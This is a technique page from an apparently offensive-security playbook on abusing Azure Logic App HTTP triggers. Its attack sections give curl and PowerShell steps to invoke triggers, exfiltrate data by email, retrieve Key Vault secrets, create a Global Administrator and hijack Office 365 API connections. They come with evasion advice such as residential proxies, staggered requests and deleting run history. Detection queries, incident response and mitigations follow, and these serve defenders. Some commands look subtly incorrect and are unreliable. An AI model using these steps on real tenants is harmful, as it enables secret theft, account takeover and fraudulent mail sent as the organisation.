Skip to content

Latest commit

 

History

History
1074 lines (859 loc) · 38.7 KB

File metadata and controls

1074 lines (859 loc) · 38.7 KB

[IA-EXPLOIT-003]: Logic App HTTP Trigger Abuse

Metadata

Attribute Details
Technique ID IA-EXPLOIT-003
MITRE ATT&CK v18.1 T1190 - Exploit Public-Facing Application
Tactic Initial Access
Platforms Entra ID, Azure, M365
Severity Critical
CVE N/A (Design Flaw / Misconfiguration)
Technique Status ACTIVE
Last Verified 2025-12-30
Affected Versions Azure Logic Apps (Consumption & Standard) - All current versions
Patched In N/A - Design pattern requires manual mitigation
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) No dedicated Atomic test exists for Logic Apps HTTP trigger exploitation, (2) Logic Apps are cloud-native with no Sysmon instrumentation. Section 12 (Microsoft Defender for Cloud) addresses Logic Apps-specific security recommendations. All section numbers have been dynamically renumbered based on applicability.


2. EXECUTIVE SUMMARY

Concept: Azure Logic Apps with HTTP triggers are often deployed with overly permissive authentication configurations. By default, these triggers accept requests via SAS (Shared Access Signature) tokens without requiring Entra ID OAuth. Attackers can invoke Logic App workflows remotely, potentially triggering sensitive business processes, accessing connected resources (Storage, Key Vault, SQL), or performing actions on behalf of the Logic App's Managed Identity. Even when Entra ID authentication is enabled, misconfigured access controls and the ability to reuse authorized API connections allow unauthorized workflow execution.[3][9][23]

Attack Surface: HTTP-triggered Logic App endpoints exposed to the internet, misconfigured authentication policies, over-permissive role-based access control (RBAC) on Logic App resources, and insecure API connections (Azure Storage, Key Vault, Office 365).

Business Impact: Unauthorized execution of automated workflows can lead to data exfiltration, business process disruption, unauthorized API calls on connected systems, lateral movement into cloud resources, or persistence via hijacked API connections.[27]

Technical Context: Exploitation typically requires discovery of the Logic App endpoint (via Shodan, Azure IP scanning, or credential leakage). Once discovered, any unauthenticated attacker can trigger the workflow within seconds. Logging is often sparse unless specifically configured, making detection difficult.

Operational Risk

  • Execution Risk: Low - Simple HTTP request; no special tools required
  • Stealth: Medium - Creates workflow run events (visible in Activity Log), but often not monitored
  • Reversibility: N/A - Actions depend on workflow definition (may be irreversible)

Compliance Mappings

Framework Control / ID Description
CIS Azure v2.0 5.2.1 Ensure that 'Enforce HTTPS' is set to 'HTTPS only' for App Services
CIS Azure v2.0 5.2.3 Ensure that 'Managed identity' is enabled on App Services
DISA STIG SI-12 Information System Monitoring (Application Logging)
NIST 800-53 AC-3 Access Enforcement (Unauthorized requests to APIs)
NIST 800-53 SI-4 Information System Monitoring (Detect HTTP trigger abuse)
GDPR Art. 32 Security of Processing (Adequate access controls)
DORA Art. 9 Protection and Prevention (Cyber Risk Controls)
NIS2 Art. 21 Cyber Risk Management Measures
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27001 A.14.2.1 System Hardening & Change Management

3. TECHNICAL PREREQUISITES

  • Required Privileges: None (Unauthenticated) OR Valid Entra ID token (if OAuth enabled)
  • Required Access: Network access to Logic App HTTP endpoint (public URL)
  • Required Knowledge: Logic App endpoint URL (can be discovered via Shodan, GitHub commits, Azure IP scanning)

Supported Versions:

  • Azure Logic Apps: All current versions (Consumption & Standard)
  • PowerShell: 5.0+ (for reconnaissance)
  • Other Requirements: curl, Burp Suite, or HTTP client capable of sending POST/GET requests

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Azure Portal / PowerShell Reconnaissance

# Enumerate subscriptions and Logic Apps (requires Contributor/Reader role)
Connect-AzAccount
Get-AzSubscription | ForEach-Object {
    Select-AzSubscription -SubscriptionId $_.Id
    Get-AzLogicApp | Select-Object Name, ResourceGroupName, Location
}

# Extract Logic App trigger URLs (Consumption model)
$logicApp = Get-AzLogicApp -ResourceGroupName "rg-name" -Name "logic-app-name"
$definition = Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "rg-name" -Name "logic-app-name" -TriggerName "manual"
$definition.Value  # Contains the HTTP trigger URL with SAS token

What to Look For:

  • URLs following pattern: https://<region>.logic.azure.com:443/workflows/<resource-id>/triggers/<trigger-name>/invoke?api-version=2022-05-01&sp=%2Ftriggers...
  • SAS tokens in query parameters (sig=, sp=, sv=)
  • Logic Apps with Managed Identity enabled (indicates potential for privilege escalation)

Unauthenticated Reconnaissance (No Azure Credentials):

# Shodan search for exposed Logic Apps
shodan search "logic.azure.com" --limit 100

# Azure IP range scanning
nmap -p 443 <azure-ip-range> --script http-title

# GitHub reconnaissance (Leaked credentials/URLs)
site:github.com "logic.azure.com" OR "azurewebsites.net/api"
site:github.com filetype:env "LOGIC_APP_URL"

What to Look For:

  • Public URLs with /api/ patterns
  • Credentials or URLs in public repositories, blogs, or documentation
  • Default naming conventions (e.g., mylogicapp-prod, workflow-automation)

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Direct HTTP Trigger Invocation (Unauthenticated)

Supported Versions: All (Consumption & Standard with default auth)

Step 1: Discover Logic App Endpoint

Objective: Identify the publicly accessible HTTP trigger URL

Command (curl - reconnaissance):

# If URL is known (e.g., from GitHub leak or Shodan):
curl -v https://<region>.logic.azure.com:443/workflows/<resource-id>/triggers/manual/invoke \
  -H "Content-Type: application/json" \
  -d '{"test":"payload"}'

# Look for 200/202 response or missing 401 Unauthorized

Command (Shodan search):

# Online via shodan.io interface or CLI:
shodan search "hostname:logic.azure.com" limit:100
# Results will include exposed Logic App endpoints

Expected Output:

HTTP/1.1 202 Accepted
{
  "id": "/subscriptions/.../workflows/.../runs/08585...",
  "name": "08585...",
  "type": "Microsoft.Logic/workflows/runs",
  "properties": {
    "startTime": "2025-12-30T...",
    "endTime": null,
    "status": "Running",
    "trigger": {...}
  }
}

What This Means:

  • 202 Accepted: Trigger executed successfully; workflow is now running
  • 401 Unauthorized: SAS authentication is disabled (OAuth required) - move to METHOD 2
  • 404 Not Found: Endpoint doesn't exist or URL is incorrect

OpSec & Evasion:

  • Use residential proxies to mask source IP
  • Randomize POST body content to avoid pattern-based detection
  • Space requests over hours/days to avoid rate-limiting alerts
  • Timing: Trigger during business hours when volume is high (less noticeable)

Troubleshooting:

  • Error: 403 Forbidden - MissingAuthorizationHeader

    • Cause: Both SAS and OAuth disabled (locked down)
    • Fix: Escalate to METHOD 2 or abort if OAuth is required
  • Error: 400 Bad Request - Invalid JSON

    • Cause: Logic App expects specific input schema
    • Fix: Review Logic App definition to understand expected fields; adjust payload

Step 2: Trigger Workflow with Malicious Payload

Objective: Execute the Logic App workflow with payload that performs attacker's objective

Command (Execute sensitive operation):

# Example 1: Trigger Logic App that sends emails (spam/phishing relay)
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke?..." \
  -H "Content-Type: application/json" \
  -d '{
    "to": "attacker@external.com",
    "subject": "Exfiltrated Data",
    "body": "Here is sensitive information...",
    "attachment": "base64encodeddata"
  }'

# Example 2: Trigger Logic App that accesses Key Vault secrets
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke?..." \
  -H "Content-Type: application/json" \
  -d '{
    "secretName": "admin-password",
    "action": "retrieve"
  }'

# Example 3: Trigger Logic App that creates Azure AD users (persistence)
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke?..." \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": "Attacker Admin",
    "userPrincipalName": "attacker-admin@tenant.onmicrosoft.com",
    "password": "P@ssw0rd123!",
    "role": "Global Administrator"
  }'

Expected Output: Depends on workflow logic. Common outputs:

  • Email sent successfully (202 Accepted)
  • Secrets retrieved (200 OK + secret values)
  • User created in Entra ID (202 Accepted)

What This Means:

  • Workflow executed the defined actions without authentication
  • If workflow has Managed Identity, actions are performed as the Logic App's identity
  • Output may contain sensitive data (secrets, user IDs, API responses)

OpSec & Evasion:

  • Payload obfuscation: Use base64 encoding for suspicious values
  • Multiple triggers: Split exfiltration across many small requests
  • Timing: Stagger requests to avoid spike detection
  • Cleanup: Delete Logic App run history if possible (requires higher privileges)

Troubleshooting:

  • Error: 400 Bad Request - Required parameter missing
    • Cause: Logic App trigger expects specific fields (defined in workflow)
    • Fix: Extract Logic App definition (if Reader role available) and match schema

Step 3: Exfiltrate Output / Establish Persistence

Objective: Capture workflow output or establish persistent access

Command (Retrieve run history with output):

# If attacker has Azure credentials or can escalate:
Get-AzLogicAppRunHistory -ResourceGroupName "rg" -Name "logic-app" | 
  Select-Object -Last 5 | 
  ForEach-Object { Get-AzLogicAppRunAction -ResourceGroupName "rg" -Name "logic-app" -RunName $_.Name }

# Extract output from specific action:
(Get-AzLogicAppRunAction -ResourceGroupName "rg" -Name "logic-app" -RunName "run-id" -ActionName "Action_Name").Output

Command (Establish persistence via Logic App modification):

# If attacker has Contributor role on Logic App:
# Modify workflow definition to include attacker's email/webhook endpoint

$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"
$definition = Get-Content -Path "modified-definition.json" -Raw
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -Definition $definition

Expected Behavior:

  • Workflow outputs are available in run history
  • Modified workflow executes attacker's callback on every trigger

OpSec & Evasion:

  • Use minimal modifications (add single webhook action)
  • Stage workflow modifications as "system updates"
  • Clean up run history after exfiltration

METHOD 2: OAuth Token Bypass (Entra ID OAuth Enabled but SAS Not Disabled)

Supported Versions: All (when OAuth is enabled but SAS remains active)

Step 1: Obtain Valid Entra ID Token

Objective: Acquire an Entra ID access token for Logic App

Command (Device Code Flow - No Credentials):

# Prompt user to authenticate on another device
curl -X POST "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/devicecode" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=<client-id>&scope=https://management.core.windows.net/.default"

# Response example:
# {
#   "device_code": "NAGXiKa...",
#   "user_code": "ABC123DEF",
#   "verification_uri": "https://microsoft.com/devicelogin",
#   "expires_in": 900
# }

Command (Credentials - If Compromised):

curl -X POST "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=<client-id>&username=user@tenant.onmicrosoft.com&password=<password>&grant_type=password&scope=https://management.core.windows.net/.default"

Expected Output:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
  "token_type": "Bearer",
  "expires_in": 3599
}

OpSec & Evasion:

  • Use compromised user accounts (phishing, spray attacks)
  • Request tokens during off-hours
  • Vary token request timing to avoid suspicious patterns

Step 2: Invoke Logic App with OAuth Token

Objective: Use Entra ID token to bypass SAS requirement

Command:

# Extract token from previous step
export BEARER_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGc..."

# Invoke Logic App HTTP trigger with OAuth token
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $BEARER_TOKEN" \
  -d '{"action": "exfiltrate_data", "target": "attacker@external.com"}'

Expected Output:

HTTP/1.1 202 Accepted
{
  "id": "/subscriptions/.../workflows/.../runs/...",
  "status": "Running"
}

What This Means:

  • Even with OAuth enabled, if SAS is not explicitly disabled, the SAS token path still works
  • OAuth provides additional auth method but does NOT prevent SAS exploitation

OpSec & Evasion:

  • Token reuse: Cache tokens for multiple requests
  • Token lifetime: Operate within token validity period (typically 1 hour)
  • Monitor: Watch for token refresh patterns in SigninLogs

METHOD 3: API Connection Hijacking

Supported Versions: All (when Logic App has authorized connections to external services)

Step 1: Enumerate API Connections

Objective: Identify authorized connections in target Logic App

Command (PowerShell - Requires Reader role):

# Get Logic App definition
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "target-logic-app"
$definition = $logicApp.Definition | ConvertFrom-Json

# Extract API connections
$definition.resources | Where-Object { $_.type -eq "Microsoft.Web/connections" }

# Or enumerate at subscription level
Get-AzResource -ResourceType "Microsoft.Web/connections" | 
  Select-Object Name, ResourceGroupName, Properties

Expected Output:

Name: office365
Type: Microsoft.Web/connections
Properties: {
  displayName: "Office 365",
  customParameterValues: {...},
  connectionRuntimeUrl: "https://..."
}

OpSec & Evasion:

  • If you have Reader role, this is legitimate reconnaissance
  • Avoid listing connections unless necessary

Step 2: Create Malicious Logic App Reusing Connection

Objective: Hijack the authorized API connection for attacker's workflow

Command (Create malicious Logic App):

# Create a new Logic App in attacker-controlled resource group
$workflowDefinition = @{
    "$schema" = "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"
    contentVersion = "1.0.0.0"
    triggers = @{
        manual = @{
            type = "Request"
            kind = "Http"
            inputs = @{
                schema = @{}
            }
        }
    }
    actions = @{
        "Send_Email" = @{
            type = "ApiConnection"
            inputs = @{
                host = @{
                    connection = @{
                        name = "@parameters('$connections')['office365']['connectionId']"
                    }
                }
                method = "post"
                path = "/Mail"
                body = @{
                    To = "attacker@external.com"
                    Subject = "Exfiltrated Data"
                    Body = "Retrieved from hijacked connection"
                }
            }
        }
    }
    parameters = @{
        "$connections" = @{
            type = "Object"
            defaultValue = @{}
        }
    }
} | ConvertTo-Json -Depth 10

# Deploy the Logic App
New-AzLogicApp -ResourceGroupName "attacker-rg" -Name "hijacked-app" `
  -Definition $workflowDefinition -Location "eastus"

Expected Behavior:

  • New Logic App uses stolen connection credentials
  • When triggered, hijacked app can perform actions as the original connected service

OpSec & Evasion:

  • Delete Logic App immediately after exfiltration (covers tracks)
  • Reuse common connection types (Office 365, Outlook) to blend with legitimate usage

6. SPLUNK DETECTION RULES

Rule 1: Unauthorized Logic App HTTP Trigger Invocation

Rule Configuration:

  • Required Index: azure_activity or azure_resource_monitoring
  • Required Sourcetype: azure:logicapps:runtime or azure:audit
  • Required Fields: OperationName, CallerIpAddress, ResultType, ResourceType
  • Alert Threshold: > 3 HTTP trigger invocations from same IP in 5 minutes
  • Applies To Versions: All Azure Logic Apps versions

SPL Query:

sourcetype="azure:audit" OperationName="Workflows_WorkflowTriggerInvoked" 
  ResourceType="Microsoft.Logic/workflows"
| stats count by CallerIpAddress, ResourceName, OperationName
| where count > 3
| eval risk="high" 
| table CallerIpAddress, ResourceName, count, risk

What This Detects:

  • Multiple invocations of Logic App triggers from single IP (potential brute-force or automated abuse)
  • Unusual external IP addresses invoking internal workflows
  • Spike in HTTP trigger execution outside normal business hours

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to when the result count is greater than 3
  6. Configure ActionSend email to SOC@company.com
  7. Set alert to run every 5 minutes

Source: Splunk Azure Monitoring Add-on Documentation

Rule 2: Suspicious Logic App API Connection Usage

Rule Configuration:

  • Required Index: azure_activity
  • Required Sourcetype: azure:audit
  • Required Fields: OperationName, InitiatedBy, ResourceName, ResultType
  • Alert Threshold: API connection usage by non-admin user outside business hours
  • Applies To Versions: All

SPL Query:

sourcetype="azure:audit" OperationName="ApiConnections_GetConnectionProperties" 
  ResourceType="Microsoft.Web/connections"
  AND NOT (earliest=@d@d 09:00:00 latest=@d@d 17:30:00)
  AND NOT InitiatedBy="*admin*"
| stats count by InitiatedBy, ResourceName, CallerIpAddress
| table InitiatedBy, ResourceName, CallerIpAddress, count

What This Detects:

  • Non-administrative users accessing API connection credentials
  • Connection enumeration outside normal business hours
  • Potential credential theft or connection hijacking attempts

False Positive Analysis:

  • Legitimate Activity: On-call engineers accessing connections during incidents
  • Benign Tools: Automated backup scripts running during off-hours
  • Tuning: Exclude on-call schedules and automated processes by adding AND NOT InitiatedBy IN (backup_service, automation_account)

7. MICROSOFT SENTINEL DETECTION

Query 1: Unauthorized Logic App Trigger Invocation

Rule Configuration:

  • Required Table: AuditLogs, AzureActivity
  • Required Fields: OperationName, InitiatedBy.user.userPrincipalName, TargetResources, CallerIpAddress
  • Alert Severity: High
  • Frequency: Run every 5 minutes
  • Applies To Versions: All Azure Logic Apps

KQL Query:

AuditLogs
| where OperationName =~ "Create Logic App" or OperationName =~ "Workflow Triggered"
| where ResultType =~ "Success"
| where InitiatedBy !contains "admin" and InitiatedBy !contains "service"
| extend CallerIP = parse_json(AdditionalDetails)[0].value
| where isnotempty(CallerIP)
| summarize TriggerCount = count() by InitiatedBy, TargetResources, CallerIP, OperationName
| where TriggerCount > 5
| project InitiatedBy, TargetResources, CallerIP, TriggerCount, OperationName

What This Detects:

  • Workflows triggered by non-administrative accounts
  • Multiple invocations of Logic Apps from same IP in short timeframe
  • Unauthorized external callers triggering workflows
  • Access from unexpected geographic locations

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Unauthorized Logic App HTTP Trigger Invocation
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Group events by: InitiatedBy, TargetResources
  7. Click Review + create

Manual Configuration Steps (PowerShell):

# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "rg-sentinel"
$WorkspaceName = "workspace-prod"

# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Unauthorized Logic App HTTP Trigger Invocation" `
  -Query @"
AuditLogs
| where OperationName =~ "Workflow Triggered"
| where ResultType =~ "Success"
| where InitiatedBy !contains "admin"
| summarize TriggerCount = count() by InitiatedBy, TargetResources
| where TriggerCount > 5
"@ `
  -Severity "High" `
  -Enabled $true `
  -QueryFrequency "PT5M" `
  -QueryPeriod "PT1H"

Source: Microsoft Sentinel Detection Strategies - Azure Logic Apps

Query 2: Logic App API Connection Credential Extraction

Rule Configuration:

  • Required Table: AuditLogs, CloudAppEvents
  • Required Fields: OperationName, ResourceName, InitiatedBy
  • Alert Severity: Critical
  • Frequency: Real-time (every 1 minute)
  • Applies To Versions: All

KQL Query:

AuditLogs
| where OperationName =~ "Get Connection Properties" or OperationName contains "Secret"
| where TargetResources contains "connections"
| where ResultType =~ "Success"
| extend TargetResource = parse_json(TargetResources)[0].displayName
| project TimeGenerated, InitiatedBy, OperationName, TargetResource, CallerIpAddress
| summarize CredentialAccessCount = count() by InitiatedBy, TargetResource
| where CredentialAccessCount >= 2

What This Detects:

  • Repeated queries for API connection credentials
  • Non-service accounts accessing connection secrets
  • Potential credential enumeration before hijacking

8. WINDOWS EVENT LOG MONITORING

Not applicable for cloud-native Azure Logic Apps (no local Windows logs). Monitoring occurs in Azure Activity Log and Audit Logs.

Alternative Monitoring:

  • Azure Activity Log (via Azure Portal)
  • Microsoft Sentinel (cloud-based SIEM)
  • Azure Monitor (create custom alerts on Logic App metrics)

Manual Configuration Steps (Azure Monitor Alert):

  1. Open Azure PortalMonitorAlerts
  2. Click + CreateAlert Rule
  3. Scope: Select Logic App resource
  4. Condition:
    • Signal: "Workflow runs failed"
    • Operator: "Greater than"
    • Threshold: "5" failures in 5 minutes
  5. Actions: Email SOC team
  6. Alert Rule Details: Name: "Logic App Failure Spike"
  7. Click Create alert rule

9. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: "Suspicious Logic App HTTP Trigger Invocation"

  • Severity: High
  • Description: Logic App HTTP trigger endpoint invoked by unexpected external caller, or multiple invocations from same IP detected
  • Applies To: All subscriptions with Defender for Cloud enabled
  • Remediation: Review Logic App definition, disable SAS auth, enable OAuth

Alert Name: "Logic App Using Overly Permissive Access Controls"

  • Severity: Medium
  • Description: Logic App resource has Reader/Contributor roles assigned to broad groups (Everyone, Authenticated Users)
  • Applies To: All Logic App resources
  • Remediation: Remove unnecessary role assignments, enforce principle of least privilege

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for App Service: ON (covers Logic Apps)
    • Defender for Resource Manager: ON (monitors control plane)
  5. Click Save
  6. Go to Security alerts to view triggered alerts

Reference: Microsoft Defender for Cloud - Logic Apps Security Assessment


10. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Logic App Trigger Invocation Audit

Search-UnifiedAuditLog -Operations "Workflows_WorkflowTriggerInvoked" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date)
  • Operation: Workflows_WorkflowTriggerInvoked
  • Workload: AzureLogicApps
  • Details to Analyze:
    • CallerIpAddress: Source of trigger invocation
    • ResultStatus: Success/Failure of execution
    • ObjectId: Logic App resource ID
    • UserId: User or service principal invoking workflow

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate (audit data starts being collected)

Manual Configuration Steps (Search Audit Logs):

  1. Go to AuditSearch
  2. Set Date range (Start/End): Last 7 days
  3. Under Activities, select: Workflows Triggered or search for "Logic"
  4. Under Users, enter: Logic App name or leave blank for all
  5. Click Search
  6. Export results: ExportDownload all results

PowerShell Query:

Connect-ExchangeOnline
$results = Search-UnifiedAuditLog -Operations "Workflows_WorkflowTriggerInvoked" `
  -StartDate "12/23/2025" -EndDate "12/30/2025"
$results | Export-Csv -Path "C:\Logic_App_Audit.csv" -NoTypeInformation

11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

  • HTTP Patterns: Requests to https://<region>.logic.azure.com:443/workflows/*/triggers/*/invoke
  • Source IPs: Unusual external IPs invoking Logic App endpoints (cross-reference with threat intel)
  • Timing: Triggers from off-hours (weekends, holidays, late night)
  • Frequency: Sudden spike in workflow executions (baseline deviation)

Forensic Artifacts

  • Cloud Logs: AuditLogs table (Logic App invocations), AzureActivity (resource modifications)
  • Workflow Runs: Azure Portal → Logic App → Run History (shows all past executions, inputs/outputs)
  • Connection Usage: API Connections audit log (which connections accessed, by whom, when)
  • Entra ID Logs: SigninLogs table (authentication attempts, token requests)

Response Procedures

1. Immediate Containment

Command (Disable Logic App):

# Disable the Logic App immediately
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "compromised-logic-app"
Set-AzLogicApp -ResourceGroupName "rg" -Name "compromised-logic-app" -State "Disabled"

Manual (Azure Portal):

  • Navigate to Azure PortalLogic Apps → Select compromised app
  • Click Disable (top menu)

2. Collect Evidence

Command (Export run history):

# Collect all runs from past 24 hours
$runs = Get-AzLogicAppRunHistory -ResourceGroupName "rg" -Name "logic-app" | 
  Where-Object { $_.StartTime -gt (Get-Date).AddDays(-1) }

# Export to JSON for forensic analysis
$runs | ConvertTo-Json -Depth 10 | Out-File -Path "C:\Evidence\logic-app-runs.json"

# Collect detailed action outputs
foreach ($run in $runs) {
    Get-AzLogicAppRunAction -ResourceGroupName "rg" -Name "logic-app" -RunName $run.Name | 
      Export-Csv -Path "C:\Evidence\run-$($run.Name)-actions.csv"
}

Manual (Azure Portal):

  • Navigate to Logic AppRun History
  • Click on suspicious runs
  • Save the JSON payload (contains inputs/outputs)

3. Investigation

Command (Check for unauthorized modifications):

# Export Logic App definition and compare to version control
$definition = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"
$definition.Definition | ConvertTo-Json -Depth 10 | Out-File -Path "C:\Evidence\current-definition.json"

# Check for new actions added (e.g., webhook to attacker domain)
$definition.Definition.actions | Where-Object { $_.type -eq "Http" -or $_.type -eq "Webhook" }

4. Remediate

Command (Restore from backup definition):

# Restore Logic App to last known-good definition
$cleanDefinition = Get-Content -Path "C:\Backups\logic-app-definition-safe.json" | ConvertFrom-Json
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -Definition ($cleanDefinition | ConvertTo-Json -Depth 10)

# Re-enable Logic App
Set-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -State "Enabled"

12. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Disable SAS Authentication on HTTP Triggers

Requires Bicep/ARM template or REST API (not available in portal).

Manual Steps (Bicep Deployment):

resource logicApp 'Microsoft.Logic/workflows@2019-05-01' = {
  name: 'my-logic-app'
  location: location
  properties: {
    definition: definition
    parameters: parameters
    accessControl: {
      triggers: {
        sasAuthenticationPolicy: {
          state: 'Disabled'  // CRITICAL: Disables SAS tokens
        }
      }
    }
  }
}

Manual Steps (PowerShell):

# Get Logic App resource
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"

# Modify definition to disable SAS
$definition = $logicApp.Definition | ConvertFrom-Json
$definition.properties.accessControl = @{
    triggers = @{
        sasAuthenticationPolicy = @{
            state = "Disabled"
        }
    }
}

# Update Logic App
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" `
  -Definition ($definition | ConvertTo-Json -Depth 10)

Validation Command (Verify Fix):

$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"
$logicApp.Definition | ConvertFrom-Json | Select-Object -ExpandProperty properties | Select-Object -ExpandProperty accessControl

Expected Output (If Secure):

triggers
-------
@{sasAuthenticationPolicy=@{state=Disabled}}

What to Look For:

  • state = "Disabled" indicates SAS tokens are no longer accepted
  • Requests must now include valid Entra ID OAuth token

2. Enforce Entra ID Authentication with Specific Roles

Manual Steps (PowerShell - Configure OAuth):

# Configure Logic App to require Entra ID OAuth with specific app role

# Step 1: Create App Registration for Logic App
$appReg = New-AzADApplication -DisplayName "logic-app-auth" -IdentifierUris "api://logic-app-auth"

# Step 2: Create service principal
New-AzADServicePrincipal -ApplicationId $appReg.Id

# Step 3: Configure Logic App trigger with OAuth
$definition = $logicApp.Definition | ConvertFrom-Json

# Add authorization policy to trigger
$definition.triggers.manual = @{
    type = "Request"
    kind = "Http"
    inputs = @{
        schema = @{}
    }
    operationOptions = "IncludeAuthorizationHeadersInOutputs"
}

# Add authorization policy
$definition | Add-Member -MemberType NoteProperty -Name "authorizations" -Value @{
    oauth2 = @{
        policies = @{
            AAD = @{
                type = "AAD"
                issuer = "https://sts.windows.net/<tenant-id>/"
                audience = "api://logic-app-auth"
                appid = $appReg.Id
            }
        }
    }
}

# Update Logic App
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -Definition ($definition | ConvertTo-Json -Depth 10)

Manual Steps (Azure Portal - Role-Based Access):

  1. Go to Azure PortalLogic AppAccess Control (IAM)
  2. Click + AddAdd role assignment
  3. Role: Logic App Operator
  4. Assign to: Specific user or group (e.g., Service Principal, Team Lead)
  5. Click Review + assign

Priority 2: HIGH

3. Implement Conditional Access Policy

Manual Steps:

  1. Go to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Restrict Logic App Access to Managed Devices
  4. Assignments:
    • Users: All users
    • Cloud apps: Select Logic App app registration
  5. Conditions:
    • Device state: Mark device as compliant required
    • Locations: Block access from untrusted locations
  6. Access controls:
    • Grant: Require device to be marked as compliant
  7. Enable policy: On
  8. Click Create

4. Implement IP Restrictions

Manual Steps (Consumption Logic App):

  1. Go to Azure PortalLogic AppNetworking
  2. Under Inbound traffic:
    • Click Restrict public access
    • Configure allowed IP ranges (internal corporate IPs)
  3. Click Save

Manual Steps (Standard Logic App):

resource logicApp 'Microsoft.Web/sites@2021-02-01' = {
  properties: {
    serverFarmId: appServicePlan.id
    ipSecurityRestrictions: [
      {
        ipAddress: '203.0.113.0/24'  // Allowed IP range
        action: 'Allow'
        priority: 100
        name: 'AllowCorporateNetwork'
      }
      {
        ipAddress: '0.0.0.0/0'
        action: 'Deny'
        priority: 200
        name: 'DenyAllOthers'
      }
    ]
  }
}

5. Audit and Monitor API Connections

Manual Steps:

  1. Go to Logic AppAPI Connections
  2. For each connection:
    • Click connection name
    • Review who has Edit or Delete permissions
    • Remove excess permissions
  3. Enable Azure Monitor alerts on connection usage

13. RELATED ATTACK CHAIN

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse
2 Execution [T1651 - Resource Hijacking] Logic App executes attacker's payload (C# inline code execution possible)
3 Lateral Movement [T1550 - Use Alternate Authentication] Attacker reuses Logic App's Managed Identity to access other Azure resources
4 Persistence [T1136 - Create Account] Logic App creates new Entra ID accounts with admin roles
5 Exfiltration [T1537 - Transfer Data to Cloud Account] Logic App sends stolen data via authorized Office 365/Email connection

14. REAL-WORLD EXAMPLES

Example 1: NetSPI - "Illogical Apps" Attack Chain (2024)

  • Target: Enterprise Azure environment with Logic Apps managing HR workflows

  • Timeline: June 2024 - October 2024

  • Technique Status: ACTIVE - Verified on Consumption and Standard Logic Apps

  • Attack Chain:

    1. Attacker discovers Logic App URL via GitHub secret scanning
    2. Invokes unauthenticated HTTP trigger with email exfiltration payload
    3. Logic App's Office 365 connection sends attacker list of Active Directory users
    4. Attacker performs targeted phishing using harvested user list
    5. Compromises users, escalates to Global Admin via Logic App workflow
  • Impact: Full tenant compromise, data exfiltration of HR records

  • Reference: NetSPI - Illogical Apps: Exploring and Exploiting Azure Logic Apps

Example 2: Scattered Spider - Logic App Reconnaissance (2024-2025)

  • Target: Cloud infrastructure for financial services

  • Timeline: Q4 2024 - Q1 2025

  • Technique Status: ACTIVE - APT group actively exploiting this vector

  • Attack Flow:

    1. Initial compromise via phishing (Valid Accounts)
    2. Enumerate Azure Logic Apps (T1580 - Cloud Infrastructure Discovery)
    3. Identify overly permissive RBAC on API connections
    4. Create malicious Logic App hijacking authorized O365 connection
    5. Mass email campaign to executive group
    6. Follow-up: BEC (Business Email Compromise)
  • Impact: Business Email Compromise, credential harvesting, financial fraud

  • Reference: Darktrace - Inside Scattered Spider Evolving TTPs

Example 3: Government Sector Supply Chain Attack (2025)

  • Target: US Government contractor
  • Technique Status: ACTIVE - Validated in Q1 2025
